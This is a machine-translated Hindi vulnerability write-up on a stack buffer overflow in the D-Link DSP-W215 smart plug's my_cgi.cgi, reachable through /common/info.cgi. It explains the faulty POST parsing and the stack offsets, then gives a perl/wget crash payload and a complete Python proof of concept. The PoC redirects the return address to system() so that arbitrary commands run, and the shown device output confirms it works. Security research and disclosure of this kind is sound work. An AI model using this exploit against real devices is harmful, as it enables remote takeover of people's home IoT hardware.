हैक डी-लिंक डीएसपी-डब्ल्यू 2 15 स्मार्ट प्लग। फिर

छवि

हाल ही में, डी-लिंक ने फर्मवेयर v1.02 को डीएसपी- डब्ल्यू 215 के लिए जारी किया, जिसमें my_cgi.cgi में बफर ओवरफ्लो के साथ HNAP बग तय किया गया था। हालाँकि उन्होंने फ़र्मवेयर को साइट से जल्दी हटा दिया: "आप फ़र्मवेयर को एक मोबाइल एप्लिकेशन के माध्यम से अपडेट कर सकते हैं", मैंने इसे म्यूनिख जाने से पहले डाउनलोड करने में कामयाबी हासिल की और 8 घंटे की फ़्लाइट ने मुझे नए फ़र्मवेयर संस्करण के गुणात्मक विश्लेषण के लिए पर्याप्त समय प्रदान किया।



दुर्भाग्य से, HNAP के साथ एक बग इस उपकरण के साथ एकमात्र समस्या नहीं थी। Lighttpd कॉन्फ़िगरेशन फ़ाइल हमें दिखाती है कि my_cgi.cgi का उपयोग कुछ पृष्ठों को संसाधित करने के लिए किया जाता है, न कि केवल HNAP अनुरोधों पर:

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" )
      
      







My_cgi.cgi में मुख्य फ़ंक्शन की दो कोड शाखाएँ हैं: एक HNAP अनुरोधों को संसाधित करने के लिए और दूसरी सब कुछ के लिए:

छवि



यदि HTTP अनुरोध HNAP नहीं था (उदाहरण के लिए, /common/info.cgi) और यदि यह एक POST अनुरोध था, तो इस मामले में, my_cgi.cgi कुछ HTTP हेडर प्राप्त करता है, जिसमें सामग्री-लंबाई शामिल है:

छवि



यदि सामग्री-लंबाई शून्य से अधिक है, तो get_input_entries फ़ंक्शन को कहा जाता है, जो POST मापदंडों को पढ़ने और पार्स करने के लिए जिम्मेदार है:

छवि



Get_input_entries फ़ंक्शन दो तर्क लेता है: प्रविष्टियों की संरचना और POST डेटा के आकार (यानी सामग्री-लंबाई) के लिए एक संकेतक:

 struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length);
      
      







यह कुछ संदिग्ध है, जैसा कि पैरामीटर को HTTP- अनुरोध में निर्दिष्ट सामग्री-लंबाई हेडर से सीधे get_input_entries को पास किया जाता है, और संरचना सूचक मुख्य फ़ंक्शन में स्टैक पर एक स्थानीय चर को इंगित करता है:

 int content_length, num_entries; struct entries my_entries[450]; // total size: 477450 bytes content_length = strtol(getenv("CONTENT_LENGTH"), 10); memset(my_entries, 0, sizeof(my_entries)); num_entries = get_input_entries(&my_entries, content_length);
      
      







बेशक, get_input_entries में fgetc के साथ एक लूप होता है (लगभग वही जो HNAP भेद्यता का कारण बनता है), जो POST अनुरोध (नाम और मान) को पार्स करता है और उन्हें "प्रविष्टियों" संरचना में बचाता है:

छवि

Fgetc लूप



छवि

लूप के लिए fgetc (स्टडिन)



छवि

Fgetc द्वारा पढ़ा गया मान "प्रविष्टियों" संरचना में नाम / मान में संग्रहीत किया जाता है



क्योंकि प्रविष्टियाँ संरचना, हमारे मामले में, मुख्य में एक स्टैक वेरिएबल है, एक अत्यधिक लंबे POST मूल्य स्टैक को get_input_entries में अतिप्रवाह करने का कारण होगा, और तदनुसार मुख्य।



मुख्य में लौटने से पहले गिरावट से बचने के लिए (अगली पोस्ट में इस पर अधिक), हमें जल्द से जल्द get_input_entries फ़ंक्शन से बाहर निकलने की आवश्यकता है। ऐसा करने का सबसे आसान तरीका केवल POST पैरामीटर "storage_path" को पास करना है, क्योंकि यदि यह पैरामीटर होता है, तो get_input_entries में कोड छोड़ दिया जाता है:

छवि



यदि हम मुख्य स्टैक को देखते हैं, तो हम देखेंगे कि "एंट्रीज" संरचना की शुरुआत 0 × 74944 बाइट्स है जो स्टैक पर रिटर्न एड्रेस से आगे है:

छवि



इस तथ्य के कारण कि 36 बाइट्स को POST अनुरोध से नामों को आवंटित किया जाता है, 477472 (0 × 74944-36) के बाइट का POST स्टैक पर संग्रहीत रिटर्न पते पर सब कुछ बह जाएगा:

 # Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
      
      





छवि

$ ra को 0 × 41414141 मान के साथ अधिलेखित कर दिया गया था



अब हम $ ra को नियंत्रित करते हैं, जिसका अर्थ है कि हम उसी सिस्टम पर वापस आ सकते हैं () कॉल करें जिसे हमने HNAP ओवरफ्लो में उपयोग किया था ताकि मनमाना आदेश निष्पादित कर सकें:

छवि

कॉल सिस्टम () 0x00405CEC पर



यहाँ PoC है:

 #!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "\x00\x40\x5C\xEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "\x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
      
      







जो नवीनतम फर्मवेयर संस्करण के साथ बहुत अच्छा काम करता है:

 ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www
      
      






All Articles